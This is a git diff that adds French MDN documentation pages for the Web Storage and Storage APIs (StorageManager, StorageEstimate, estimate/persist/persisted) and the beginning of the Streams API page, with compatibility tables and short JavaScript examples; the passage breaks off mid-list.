+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-setitem', 'Storage.setItem')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Tous les navigateurs ont des niveaux de capacité de stockage variables, que ce soit pour localStorage ou sessionStorage. Pour un test de l'ensemble des capacités des différents navigateurs <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">voir ici</a>.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Depuis iOS 5.1, Safari Mobile stocke les données liées à localStorage dans un fichier de cache qui est sujet à un nettoyage occasionnel par ordre du système d'exploitation, surtout lorsqu'il reste peu de place.</p>
+</div>
+
+<h2 id="À_voir_également">À voir également</h2>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage web</a></p>
diff --git a/files/fr/web/api/storage_api/index.html b/files/fr/web/api/storage_api/index.html
new file mode 100644
index 0000000000..6ba5169e7e
--- /dev/null
+++ b/files/fr/web/api/storage_api/index.html
@@ -0,0 +1,118 @@
+---
+title: Storage API
+slug: Web/API/Storage_API
+translation_of: Web/API/Storage_API
+---
+<p>{{securecontext_header}}{{DefaultAPISidebar("Storage")}}</p>
+
+<p>Le standard <em>Storage</em> définit un système de stockage commun et partagé utilisable par toutes les API et technologies qui stockent des données accessibles par le contenu pour des sites web individuels. L’API Storage donne aux codes des sites la capacité de déterminer quelle quantité d’espace ils peuvent utiliser, combien ils utilisent déjà, et même contrôler s’ils ont besoin ou non d’être alertés avant que l’{{Glossary("user agent", "agent utilisateur")}} n’élimine des données de site afin de faire de la place pour autre chose.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Le stockage de site — les données stockées pour un site web qui sont gérées par le standard Storage — inclut :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/IndexedDB_API">les bases de données IndexedDB</a> ;</li>
+ <li><a href="/fr/docs/Web/API/Cache">les données de l’API Cache</a> ;</li>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API">les enregistrements de Service Worker</a> ;</li>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API">les données de l’API Web Storage</a> gérées via {{domxref("window.localStorage")}} ;</li>
+ <li>les informations de l’état d’historique enregistrées via {{domxref("History.pushState()")}} ;</li>
+ <li><a href="/fr/docs/Web/HTML/Using_the_application_cache">les caches d’application</a> ;</li>
+ <li><a href="/fr/docs/Web/API/Notifications_API">les données de notification</a> ;</li>
+ <li>d’autres types de données accessibles par le site et spécifiques au site qui pourraient être maintenues.</li>
+</ul>
+
+<h2 id="Unités_de_stockage_de_site">Unités de stockage de site</h2>
+
+<p>Le système de stockage de site décrit par le standard Storage, et avec lequel on interagit en utilisant l’API Storage, consiste en une seule <strong>unité de stockage de site</strong> pour chaque {{Glossary("origin", "origine")}}. In essence, chaque site web ou application web a sa propre unité de stockage dans laquelle ses données sont placées. Le diagramme ci-dessous présente un bassin de stockage de site contenant trois unités de stockage, montrant que les unités de stockage peuvent contenir différents types de données et avoir différents quotas (limites maximum de stockage).</p>
+
+<p><img alt="A diagram showing how the site storage pool consists of multiple storage units that contain data from various APIs as well as possible unused space left before the quota is reached." src="https://mdn.mozillademos.org/files/14379/StorageUnits.png" style="height: 412px; width: 600px;"></p>
+
+<ul>
+ <li>L’origine 1 a des données Web Storage ainsi que des données IndexedDB, mais a également un peu d’espace libre restant ; son utilisation actuelle n’a pas encore atteint son quota.</li>
+ <li>L’origine 2 n’a pas encore de données stockées ; c’est simplement une boîte vide en attente de contenu. Cette origine, toutefois, a un quota inférieur à celui des deux autres. Il peut s’agir d’un site visité moins souvent, ou d’un site connu pour avoir des besoins de stockage inférieurs.</li>
+ <li>L’unité de stockage de l’origine 3 est complètement remplie ; elle a atteint son quota et ne peut pas stocker de données supplémentaires sans que du contenu existant soit supprimé.</li>
+</ul>
+
+<p>Les {{Glossary("User agent", "agents utilisateur")}} sont susceptibles d’utiliser diverses techniques pour déterminer le quota de différentes origines. Une des méthodes les plus probables — une que la spécification encourage spécifiquement, en fait — est de considérer la popularité et les niveaux d’utilisation de sites individuels pour déterminer quels doivent être leurs quotas. Il est également concevable que le navigateur puisse offrir une interface utilisateur pour personnaliser ces quotas.</p>
+
+<h2 id="Modes_de_boîte">Modes de boîte</h2>
+
+<p>Le stockage de données en lui-même, au sein de chaque unité de stockage, est appelé sa <strong>boîte</strong>. Chaque unité de stockage de site a exactement une boîte dans laquelle toutes ses données sont placées, et a une <strong>mode de boîte</strong> qui décrit la politique de conservation de données pour cette boîte. Il existe deux modes :</p>
+
+<dl>
+ <dt><code>"best-effort"</code></dt>
+ <dd>L’agent utilisateur essayera de conserver les données contenues dans la boîte aussi longtemps qu’il peut, <em>mais n’avertira pas l’utilisateur ou l’utilisatrice</em> si l’espace de stockage approche sa limite et s’il devient nécessaire de nettoyer la boîte afin de réduire la pression de stockage.</dd>
+ <dt><code>"persistent"</code></dt>
+ <dd>L’agent utilisateur essayera de conserver les données aussi longtemps que possible, nettoyant toutes les boîtes <code>"best-effort"</code> avant de considérer le nettoyage d’une boîte marquée <code>"persistent"</code>. S’il devient nécessaire de considérer le nettoyage d’une boîte persistante, l’agent utilisateur notifiera l’utilisateur ou l’utilisatrice et fournira un moyen de nettoyer une ou plusieurs boîtes persistantes selon le besoin.</dd>
+</dl>
+
+<p>Modifier le mode de boîte d’une origine nécessite la permission d’utiliser la fonctionnalité <code>"persistent-storage"</code>.</p>
+
+<h2 id="Persistance_et_nettoyage_des_données">Persistance et nettoyage des données</h2>
+
+<p>Si le site ou l’application a la permission sur la fonctionnalité <strong><code>"persistent-storage"</code></strong>, il ou elle peut utiliser la méthode {{domxref("StorageManager.persist()")}} pour faire la requête que sa boîte devienne persistante. Il est également possible pour l’agent utilisateur de décider de rendre l’unité de stockage du site persistante sur la base de caractéristiques d’usage ou d’autres métriques. Les drapeaux (<em>flags</em>), algorithmes et types associés à la permission <code>"persistent-storage"</code>, sont tous positionnés sur les valeurs par défaut standard pour une permission, excepté que <strong>l’état de permission</strong> doit être le même sur l’ensemble de l’origine, et que si l’état de permission n’est pas <code>"granted"</code> (c’est-à-dire que si, pour une raison ou une autre, l’accès à la fonctionnalité de stockage persistant a été refusé), le mode de boîte de l’unité de stockage de site de l’origine est toujours <code>"best-effort"</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir <a href="/fr/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a> pour plus de détails sur l’obtension et la gestion des permissions.</p>
+</div>
+
+<p>Lors du nettoyage d’unités de stockage de site, la boîte d’une origine est traitée comme une seule entité ; si l’agent utilisateur a besoin de la nettoyer et si l’utilisateur ou l’utilisatrice approuve, le stockage de données entier est nettoyé plutôt que de fournir un moyen de nettoyer seulement les données d’une API individuelle.</p>
+
+<p>Si une boîte est marquée <code>"persistent"</code>, le contenu ne sera pas nettoyé par l’agent utilisateur sans que l’origine des données elle-même, ou l’utilisateur ou l’utilisatrice, ne le fasse spécifiquement. Cela inclut des scénarios tels que l’utilisateur ou l’utilisatrice choisissant une option « nettoyer le cache » or « nettoyer l’historique récent ». La permission de supprimer des unités de stockage persistantes sera spécifiquement demandée à l’utilisateur ou à l’utilisatrice.</p>
+
+<h2 id="Estimations_de_quota_et_d’usage">Estimations de quota et d’usage</h2>
+
+<p>L’agent utilisateur détermine, à l’aide du mécanisme de son choix, la quantité maximale de stockage qu’un site donné peut utiliser. Ce maximum est le <strong>quota</strong> de l’origine. La quantité de cet espace utilisée par le site est appelée son <strong>usage</strong>. Ces deux valeurs sont des estimations ; elles sont imprécise pour plusieurs raisons :</p>
+
+<ul>
+ <li>Les agents utilisateur sont encouragés à dissimuler la taille exacte des données utilisées par une origine donnée, pour empêcher que ces valeurs soient utilisées à des fins de fingerprinting.</li>
+ <li>La dé-duplication, la compression et d’autres méthodes pour réduire la taille physique des données stockées peuvent être utilisées.</li>
+ <li>Les quotas sont des estimations prudentes de l’espace disponible pour l’utilisation par l’origine, et devraient être inférieurs à l’espace disponible sur l’appareil pour tenter d’empêcher les débordements.</li>
+</ul>
+
+<p>Les agents utilisateurs peuvent utiliser toute méthode de leur choix pour déterminer la taille du quota de l’origine, et sont encouragés par la spécification à fournir de l’espace supplémentaire aux sites populaires ou fréquemment visités.</p>
+
+<p>Pour déterminer les valeurs de quota et d’usage estimées pour une origine donnée, utilisez la méthode {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}}, qui retourne une promesse qui, une fois résolue, reçoit un {{domxref("StorageEstimate")}} qui contient ces nombres. Par exemple :</p>
+
+<pre class="brush: js">navigator.storage.estimate().then(estimate =&gt; {
+  // estimate.quota est le quota estimé
+  // estimate.usage est le nombre estimé d’octets utilisés
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<h3 id="StorageManager"><code>StorageManager</code></h3>
+
+<div>
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.StorageManager")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NavigatorStorage.storage", "navigator.storage")}}</li>
+ <li>{{domxref("StorageManager")}} (l’objet renvoyé par <code>navigator.storage</code>)</li>
+ <li><a href="/fr/docs/Web/API/Permissions_API/Using_the_Permissions_API">Utiliser l’API Permissions</a></li>
+</ul>
diff --git a/files/fr/web/api/storageestimate/index.html b/files/fr/web/api/storageestimate/index.html
new file mode 100644
index 0000000000..e29134eaea
--- /dev/null
+++ b/files/fr/web/api/storageestimate/index.html
@@ -0,0 +1,53 @@
+---
+title: StorageEstimate
+slug: Web/API/StorageEstimate
+translation_of: Web/API/StorageEstimate
+---
+<div>{{securecontext_header}}{{APIRef("Storage")}}</div>
+
+<p>Le dictionnaire <strong><code>StorageEstimate</code></strong> est utilisé par le {{domxref("StorageManager")}} pour fournir des estimations de taille du stockage de données d’un site ou d’une application et de la quantité actuellement utilisée. La méthod {{domxref("StorageManager.estimate", "estimate()")}} renvoie un objet qui se conforme à ce dictionnaire quand sa {{jsxref("Promise")}} se résoud.</p>
+
+<p>Ces valeurs sont seulement des estimations pour différentes raisons, telles que la performance, et la prévention de l’utilisation des informations de capacité de stockage à des fins de fingerprinting. Voir les pages de propriétés individuelles pour plus de détails.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Actuellement, ce dictionnaire a toujours les deux propriétés suivantes définies.</em></p>
+
+<dl>
+ <dt>{{domxref("StorageEstimate.quota", "quota")}} {{securecontext_inline}}</dt>
+ <dd>Une valeur numérique qui fournit une approximation prudente du stockage total que l’appareil ou l’ordinateur met à disposition de l’origine ou de l’application web. Il est possible que plus d’espace que la valeur indiquée soit disponible, cependant vous ne pouvez pas supposer que c’est le cas.</dd>
+ <dt>{{domxref("StorageEstimate.usage", "usage")}} {{securecontext_inline}}</dt>
+ <dd>Une valeur numérique donnant une approximation de la quantité de stockage actuellement utilisée par le site ou l’application, parmi l’espace disponible indiqué par <code>quota</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage', '#dictdef-storageestimate', 'StorageEstimate')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.StorageEstimate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Storage_API">l’API Storage</a></li>
+ <li>{{domxref("StorageManager")}}</li>
+ <li>{{domxref("StorageManager.estimate()")}}</li>
+ <li>{{domxref("NavigatorStorage.storage", "navigator.storage")}}</li>
+</ul>
diff --git a/files/fr/web/api/storagemanager/estimate/index.html b/files/fr/web/api/storagemanager/estimate/index.html
new file mode 100644
index 0000000000..8094ee7560
--- /dev/null
+++ b/files/fr/web/api/storagemanager/estimate/index.html
@@ -0,0 +1,78 @@
+---
+title: StorageManager.estimate()
+slug: Web/API/StorageManager/estimate
+translation_of: Web/API/StorageManager/estimate
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}</p>
+
+<p>La méthode <strong><code>estimate()</code></strong> de l’interface {{domxref("StorageManager")}} demande au gestionnaire de stockage d’obtenir des informations de quota et d’usage pour l’origine actuelle. Cette méthode opère de manière asynchrone, elle renvoie donc une {{jsxref("Promise")}} qui se résoud une fois que l’information est disponible. La fonction gérant la résolution de la promesse reçoit en entrée un {{domxref("StorageEstimate")}} avec les données de quota et d’usage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>estimatePromise</em> = <em>StorageManager</em>.estimate();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref('Promise')}} qui se résoud en un objet qui se conforme au dictionnaire {{domxref('StorageEstimate')}}. Ce dictionnaire contient des estimations de la quantité d’espace disponible à l’origine ou à l’application (dans {{domxref("StorageEstimate.quota")}}), ainsi que la quantité d’espace actuellement utilisé (dans {{domxref("StorageEstimate.usage")}}). Ces nombres ne sont pas exacts ; entre la compression, la dé-duplication, et l’obfuscation pour des raisons de sécurité, ils ne seront pas précis.</p>
+
+<p>Il est possible de constater que le <code>quota</code> varie d’application en application, basé sur des facteurs tels que la fréquence à laquelle l’utilisateur ou l’utilisatrice la visite, des données de popularité de sites bien connus, et ainsi de suite.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Dans cet exemple, nous obtenons des estimations d’usage et présentons le pourcentage de capacité de stockage actuellement utilisé à l’utilisateur ou à l’utilisatrice.</p>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Vous utilisez actuellement environ &lt;span id="percent"&gt;
+  &lt;/span&gt;% de votre espace disponible.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">navigator.storage.estimate().then(function(estimate) {
+  document.getElementById("percent").textContent =
+      (estimate.usage / estimate.quota).toFixed(2);
+});
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Example', 600, 40) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-estimate','estimate()')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.StorageManager.estimate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>l’API Storage</li>
+ <li>{{domxref("Storage")}}, l’objet renvoyé par {{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("StorageManager")}}</li>
+ <li>{{domxref("navigator.storage")}}</li>
+</ul>
diff --git a/files/fr/web/api/storagemanager/index.html b/files/fr/web/api/storagemanager/index.html
new file mode 100644
index 0000000000..afc0bd77ad
--- /dev/null
+++ b/files/fr/web/api/storagemanager/index.html
@@ -0,0 +1,55 @@
+---
+title: StorageManager
+slug: Web/API/StorageManager
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Persistence
+  - Quotas
+  - Reference
+  - Secure context
+  - Storage
+  - Storage API
+  - StorageManager
+  - TopicStub
+  - Usage
+translation_of: Web/API/StorageManager
+---
+<p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p>
+
+<p>The <strong><code>StorageManager</code></strong> interface of the the <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> provides an interface for managing persistance permissions and estimating available storage. You can get a reference to this interface using either {{domxref("navigator.storage")}} or {{domxref("WorkerNavigator.storage")}}.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+	<dt>{{domxref("StorageManager.estimate()")}} {{securecontext_inline}}</dt>
+	<dd>Returns a {{domxref("StorageEstimate")}} object containing usage and quota numbers for your origin.</dd>
+	<dt>{{domxref("StorageManager.persist()")}} {{securecontext_inline}}</dt>
+	<dd>Returns a {{jsxref('Promise')}} that resolves to <code>true</code> if the user agent is able to persist your site's storage.</dd>
+	<dt>{{domxref("StorageManager.persisted()")}} {{securecontext_inline}}</dt>
+	<dd>Returns a {{jsxref('Promise')}} that resolves to <code>true</code> if persistence has already been granted for your site's storage.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{SpecName('Storage','#storagemanager','StorageManger')}}</td>
+			<td>{{Spec2('Storage')}}</td>
+			<td>Initial definition.</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.StorageManager")}}</p>
diff --git a/files/fr/web/api/storagemanager/persist/index.html b/files/fr/web/api/storagemanager/persist/index.html
new file mode 100644
index 0000000000..acb9fad8db
--- /dev/null
+++ b/files/fr/web/api/storagemanager/persist/index.html
@@ -0,0 +1,53 @@
+---
+title: StorageManager.persist()
+slug: Web/API/StorageManager/persist
+translation_of: Web/API/StorageManager/persist
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">La méthode <strong><code>persist()</code></strong> de l’interface {{domxref("StorageManager")}} fait une demande de permission d’utiliser un stockage persistant, et renvoie une {{jsxref('Promise')}} qui se résoud en <code>true</code> si la permission est accordée et le mode de boîte est persistant, et <code>false</code> dans le cas contraire.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.storage.persist().then(function(persistent) { ... })</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref('Promise')}} qui se résoud en un {{jsxref('Boolean')}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">if (navigator.storage &amp;&amp; navigator.storage.persist)
+  navigator.storage.persist().then(function(persistent) {
+    if (persistent)
+      console.log("Le stockage ne sera pas nettoyé sauf en cas d’action humaine explicite");
+    else
+      console.log("Le stockage peut être nettoyé par l’UA en cas de pression de stockage.");
+  });</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-persist','persist')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.StorageManager.persist")}}</p>
diff --git a/files/fr/web/api/storagemanager/persisted/index.html b/files/fr/web/api/storagemanager/persisted/index.html
new file mode 100644
index 0000000000..97b627fdcc
--- /dev/null
+++ b/files/fr/web/api/storagemanager/persisted/index.html
@@ -0,0 +1,53 @@
+---
+title: StorageManager.persisted()
+slug: Web/API/StorageManager/persisted
+translation_of: Web/API/StorageManager/persisted
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>persisted</code></strong> de l’interface {{domxref("StorageManager")}} renvoie une {{jsxref('Promise')}} qui se résoud en <code>true</code> si le mode de boîte est est persistant pour le stockage de votre site.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">navigator.storage.persisted().then(function(persistent) { ... })</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref('Promise')}} qui se résoud en un {{jsxref('Boolean')}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js"><code>if (navigator.storage &amp;&amp; navigator.storage.persist)
+  navigator.storage.persisted().then(function(persistent) {
+    if (persistent)
+      console.log("Le stockage ne sera pas nettoyé sauf en cas d’action humaine explicite");
+    else
+      console.log("Le stockage peut être nettoyé par l’UA en cas de pression de stockage.");
+  });</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-persisted','persisted')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.StorageManager.persisted")}}</p>
diff --git a/files/fr/web/api/streams_api/index.html b/files/fr/web/api/streams_api/index.html
new file mode 100644
index 0000000000..4097ffcb7c
--- /dev/null
+++ b/files/fr/web/api/streams_api/index.html
@@ -0,0 +1,145 @@
+---
+title: Streams API
+slug: Web/API/Streams_API
+translation_of: Web/API/Streams_API
+---
+<div>{{SeeCompatTable}}{{APIRef("Streams")}}</div>
+
+<p class="summary">L'API Streams permet à JavaScript d'accèder par programmation aux flux de données reçus sur le réseau et de les traiter selon les souhaits du développeur.</p>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>Le Streaming implique de segmenter une ressource que vous souhaitez recevoir sur le réseau et de la séparer en plus petits morceaux, puis de la traiter petit à petit. C'est une chose que font les navigateurs quand ils reçoivent des ressources pour les afficher sur les pages web — le buffer d'une vidéo est progressivement disponible à la lecture, tout comme parfois vous verrez des images s'afficher progressivement durant leur chargement.</p>
+
+<p>Mais ceci n'a jamais été possible pour le javascript par le passé. Avant, si nous souhaitions traiter une ressource quel qu'en soit le type (qu'il s'agisse d'une vidéo, ou d'un fichier texte, etc.), il nous fallait télécharger le fichier en entier, attendre qu'il soit désérialisé en un format acceptable, pour alors traiter la totalité après l'avoir totalement reçu.</p>
+
+<p>Avec la mise à disposition des Streams en JavaScript, tout ceci a changé — vous pouvez maintenant commencer à traiter des données brutes petit à petit avec du Javascript dès qu'elles sont disponibles coté client, sans avoir besoin de générer un <em>buffer</em>, <em>string</em>, ou <em>blob</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15817/Concept.png" style="display: block; height: 382px; margin: 0px auto; width: 1000px;"></p>
+
+<p>Il y a aussi d'autres avantages — vous pouvez détecter quand un flux commence ou prend fin, chaîner les flux entre eux, traiter les erreurs et annuler les flux si nécessaire et vous adapter à la vitesse de lecture du flux.</p>
+
+<p>L'usage basique des Streams s'articule autour de la mise à disposition des réponses sous forme de flux. Par exemple, la réponse {{domxref("Body")}} retourné par une requête <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch </a>réussie peut être exposée en tant que {{domxref("ReadableStream")}}, vous pourrez ainsi le lire en utilisant un lecteur créé par {{domxref("ReadableStream.getReader()")}}, l'annuler avec {{domxref("ReadableStream.cancel()")}}, etc.</p>
+
+<p>Un usage plus avancé consiste à créer son propre flux en utilisant le constructeur {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, pour traiter par exemple les données à l'intérieur d'un <a href="/docs/Web/API/Service_Worker_API">service worker</a>.</p>
+
+<p>Vous pouvez aussi écrire des données vers les flux en utilisant {{domxref("WritableStream")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous trouverez plus de détails sur la théorie et la mise en pratique des flux dans nos articles — <a href="/docs/Web/API/Streams_API/Concepts">Streams API concepts</a>, <a href="/docs/Web/API/Streams_API/Using_readable_streams">Using readable streams</a>, et <a href="/docs/Web/API/Streams_API/Using_writable_streams">Using writable streams</a>.</p>
+</div>
+
+<h2 id="Stream_interfaces">Stream interfaces</h2>
+
+<h3 id="Readable_streams">Readable streams</h3>
+
+<dl>
+ <dt>{{domxref("ReadableStream")}}</dt>
+ <dd>Correspond à un flux de données lisible. Il peut être utlisé afin de gérer les réponses des flux de l'<a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a>, ou des flux définis par le développeur (cad. un constructeur  {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} personnalisé).</dd>
+ <dt>{{domxref("ReadableStreamDefaultReader")}}</dt>
+ <dd>Correspond à un lecteur par défaut pouvant être utilisé afin de lire un flux de données fourni par le réseau (cad. une requête fetch).</dd>
+ <dt>{{domxref("ReadableStreamDefaultController")}}</dt>
+ <dd>Correspond à un controlleur permettant de gérer l'état d'un {{domxref("ReadableStream")}} et le système de queue interne. Les controleurs par défaut sont à destination des flux qui ne sont pas des flux d'octets.</dd>
+</dl>
+
+<h3 id="Writable_streams">Writable streams</h3>
+
+<dl>
+ <dt>{{domxref("WritableStream")}}</dt>
+ <dd>Propose un standard d'abstraction afin d'écrire des flux de données vers une destination, ce qu'on appel un sink (un <em>aggregateur de flux</em>). Cet objet s'accompagne  d'un built-in backpressure et d'un système de queue.</dd>
+ <dt>{{domxref("WritableStreamDefaultWriter")}}</dt>
+ <dd>Correspond à un flux inscriptible par défaut pouvant être utilisé afin d'écire des chunks (plus petit morceaux) de données vers un flux inscriptible.</dd>
+ <dt>{{domxref("WritableStreamDefaultController")}}</dt>
+ <dd>Correspond à un controlleur permettant de gérer l'état d'un {{domxref("WritableStream")}}. Lors de la construction d'un <code>WritableStream</code>, le sink sous-jacent se voit attribuer une instance de <code>WritableStreamDefaultController</code> afin de pouvoir le manipuler.</dd>
+</dl>
+
+<h3 id="Related_stream_APIs_and_operations">Related stream APIs and operations</h3>
+
+<dl>
+ <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt>
